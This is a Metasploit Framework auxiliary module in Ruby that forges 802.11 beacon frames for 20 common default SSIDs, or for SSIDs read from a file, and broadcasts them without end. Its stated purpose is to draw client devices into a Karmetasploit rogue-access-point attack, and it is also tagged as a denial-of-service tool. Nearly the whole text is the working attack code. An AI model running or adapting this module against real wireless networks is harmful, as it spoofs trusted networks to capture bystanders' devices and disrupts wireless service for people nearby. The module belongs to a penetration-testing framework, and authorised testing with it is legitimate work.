##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##


require 'msf/core'


class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Lorcon
	include Msf::Auxiliary::Dos

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Wireless Beacon SSID Emulator',
			'Description'    => %q{
				This module sends out beacon frames using SSID's identified in a
				specified file and randomly selected BSSID's.  This is useful when
				combined with a Karmetasploit attack to get clients configured to
				not probe for networks in their PNL to start probing when they see a
				matching SSID in from this script.  For a list of common SSID's to
				use with this script, check http://www.wigle.net/gps/gps/main/ssidstats.
				If a file of SSID's is not specified, a default list of 20 SSID's will
				be used. This script will run indefinitely until interrupted.
			},

			'Author'         => [ 'joswr1ght', 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$'
		))
		register_options(
			[
				OptString.new('SSIDS_FILE', [ false,  "Filename of SSID's to broadcast, one per line"])
			], self.class)
	end


	def run

		@@uni = 0

		frames = []

		open_wifi

		ssidlist = []
		if datastore['SSIDS_FILE']
			begin
				ssidfile = File.new(datastore['SSIDS_FILE'], "r")
			rescue ::Exception
				print_status("Couldn't read from \"#{datastore['SSIDS_FILE']}\": #{$!}")
				return
			end
			ssidfile.each_line do |line|
				ssidlist.push line.chomp
			end
		else
			ssidlist = ["linksys", "default", "NETGEAR", "Belkin54g", "Wireless",
				"WLAN", "home", "DLINK", "smc", "tsunami", "tmobile", "101", "panera",
				"hhonors", "GlobalSuiteWireless", "Internet", "WiFi", "public", "guest",
				"test"]
		end

		print_status("Sending beacon frames...")

		while (true)
			ssidlist.each do |ssid|
				#print_status("Sending frame for SSID #{ssid}")
				frame = create_frame(ssid)
				wifi.write(frame)
			end
		end
	end


	def create_frame(ssid)
		mtu      = 1500 # 2312 # 1514
		ies      = rand(1024)

		bssid    = "0" + ssid[0..4]
		seq      = [rand(255)].pack('n')

		frame =
			"\x80" +                      # type/subtype
			"\x00" +                      # flags
			"\x00\x00" +                  # duration
			"\xff\xff\xff\xff\xff\xff" +  # dst
			bssid +                       # src
			bssid +                       # bssid
			seq   +                       # seq
			Rex::Text.rand_text(8) +      # timestamp value
			"\x64\x00" +                  # beacon interval
			"\x04\x01" +                  # capability flags

			# ssid tag
			"\x00" + ssid.length.chr + ssid +

			# supported rates
			"\x01" + "\x08" + "\x82\x84\x8b\x96\x0c\x18\x30\x48" +

			# current channel
			"\x03" + "\x01" + channel.chr

		return frame

	end
end
